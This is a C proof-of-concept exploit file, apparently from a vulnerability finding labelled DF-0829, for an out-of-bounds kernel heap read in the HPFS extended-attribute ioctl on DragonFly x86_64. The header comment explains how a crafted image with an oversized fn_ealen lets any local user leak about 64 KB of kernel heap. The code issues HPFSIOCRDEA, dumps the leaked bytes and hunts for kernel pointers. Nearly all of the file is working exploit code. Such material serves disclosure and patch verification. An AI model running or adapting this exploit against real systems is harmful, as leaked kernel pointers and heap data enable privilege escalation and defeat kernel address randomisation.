DF-0829 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 | /* * DF-0829 โ HPFS EA ioctl OOB heap read. * * The HPFS extended-attribute ioctls (HPFSIOCGEANUM / HPFSIOCGEASZ / * HPFSIOCRDEA) walk an attacker-controlled on-disk fn_ealen byte count * starting at hp->h_fn.fn_int without ever bounding it against * sizeof(fn_int) (= 0x13c). fn_ealen is loaded straight off disk at * sys/vfs/hpfs/hpfs_vfsops.c:535 (bcopy of the raw fnode) with no * validation. A crafted HPFS image with fn_ealen=0xFFFF and a first EA * whose ea_vallen=0xFFFE makes HPFSIOCRDEA's copyout read ~64 KB of * kernel heap starting inside the hpfsnode โ i.e. straight through the * kernel pointers h_vp / h_devvp / h_dev / h_no that live immediately * after h_fn in struct hpfsnode, and on past the slab into neighbouring * allocations. * * Threat model (the realistic one from the finding): the HPFS module is * loadable and an admin (or attacker with vfs.usermount + a root-created * image) has mounted the volume. Once mounted, NO privilege check exists * in hpfs_ioctl โ any local user with O_RDONLY on a vnode inside the * mount can issue these ioctls. * * Build: cc -o poc poc.c * Run: ./poc /path/to/mountpoint */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <inttypes.h> #include <errno.h> #include "hpfs_ioctl.h" /* local copy: struct hpfs_rdea + HPFSIOCRDEA */ /* Conservative buffer: we ask for the full ea_sz (namelen+1+vallen), * but the kernel will stop at copyout's first unmapped page and return * EFAULT. Whatever bytes land in our buffer before the fault are the * leak. */ #define BUFSZ (256 * 1024) static void hexdump(const unsigned char *p, size_t n, const char *tag) { size_t i; int shown = 0; printf("=== %s (%zu bytes) ===\n", tag, n); for (i = 0; i + 8 <= n; i += 8, shown++) { uint64_t v = (uint64_t)p[i+0] | (uint64_t)p[i+1] << 8 | (uint64_t)p[i+2] << 16 | (uint64_t)p[i+3] << 24 | (uint64_t)p[i+4] << 32 | (uint64_t)p[i+5] << 40 | (uint64_t)p[i+6] << 48 | (uint64_t)p[i+7] << 56; if (v == 0) continue; /* skip boring zero runs */ printf(" [+0x%04zx] %016" PRIx64 "\n", i, v); if (shown > 64) break; } /* always show the very first 64 bytes so we see the EA header residue */ printf(" first 64 bytes:\n "); for (i = 0; i < 64; i++) { printf("%02x", p[i]); if ((i&31)==31) printf("\n "); else if ((i&7)==7) printf(" "); } printf("\n"); } static int looks_like_kptr(uint64_t v) { /* DragonFly x86_64 kernel pointers are negative canonical addresses: * 0xFFFF800000000000 .. 0xFFFFFFFFFFFFFFFF * We accept anything whose top 16 bits are all 1s (and that isn't * obviously -1 / 0). */ return (v >> 48) == 0xffff && v != 0xffffffffffffffffULL && v != 0; } /* Read an 8-byte little-endian uint64 starting at byte offset i (no * alignment requirement) โ needed because kernel pointer fields inside * struct hpfsnode may not be 8-byte aligned relative to fn_int. */ static uint64_t rd_u64(const unsigned char *p, size_t i) { return (uint64_t)p[i+0] | (uint64_t)p[i+1] << 8 | (uint64_t)p[i+2] << 16 | (uint64_t)p[i+3] << 24 | (uint64_t)p[i+4] << 32 | (uint64_t)p[i+5] << 40 | (uint64_t)p[i+6] << 48 | (uint64_t)p[i+7] << 56; } int main(int argc, char **argv) { const char *mp = argc > 1 ? argv[1] : "/mnt/hpfs"; int fd, rc; struct hpfs_rdea rdea; unsigned char *buf; buf = calloc(1, BUFSZ); if (!buf) { perror("calloc"); return 2; } fd = open(mp, O_RDONLY); if (fd < 0) { perror(mp); return 2; } printf("[*] opened %s fd=%d, issuing HPFSIOCRDEA (ea_no=0)\n", mp, fd); memset(&rdea, 0, sizeof(rdea)); rdea.ea_no = 0; rdea.ea_sz = 0; rdea.ea_data = buf; rc = ioctl(fd, HPFSIOCRDEA, &rdea); int saved = errno; printf("[*] ioctl rc=%d, returned ea_sz=%lu, errno=%d (%s)\n", rc, (unsigned long)rdea.ea_sz, saved, strerror(saved)); /* Even on EFAULT, copyout may have written some bytes before faulting. */ /* Find the first non-zero byte โ that's where real kernel data starts. */ size_t first_real = 0; while (first_real < 4096 && buf[first_real] == 0) first_real++; /* Count plausible kernel pointers โ scan ALL byte offsets (not just * 8-byte aligned) because kernel pointer fields inside struct * hpfsnode are not necessarily 8-byte aligned relative to fn_int. */ int kptr_count = 0; size_t first_kptr_off = 0; for (size_t i = 0; i + 8 <= 4096; i++) { uint64_t v = rd_u64(buf, i); if (looks_like_kptr(v)) { kptr_count++; if (first_kptr_off == 0) first_kptr_off = i; } } hexdump(buf, 4096, "leaked heap"); printf("[+] first non-zero byte at +0x%zx\n", first_real); printf("[+] plausible kernel pointers in first 4 KB: %d", kptr_count); if (kptr_count) printf(" (first at +0x%zx = 0x%016" PRIx64 ")", first_kptr_off, rd_u64(buf, first_kptr_off)); printf("\n"); if (kptr_count > 0) { printf("[!!!] DF-0829 CONFIRMED: kernel heap (pointers to " "h_vp/h_devvp/etc.) leaked to userspace via HPFSIOCRDEA\n"); return 0; } /* Even if no clean pointer pattern leaked (panic caught us first), * non-zero kernel heap bytes are still a leak. */ int nonzero = 0; for (size_t i = first_real; i < 4096; i++) if (buf[i]) nonzero++; if (nonzero > 8) { printf("[!!!] DF-0829 CONFIRMED: %d non-zero kernel heap bytes " "leaked past fn_int via HPFSIOCRDEA\n", nonzero); return 0; } printf("[-] no obvious leak captured (kernel may have panicked โ " "check boot.log)\n"); return 1; } |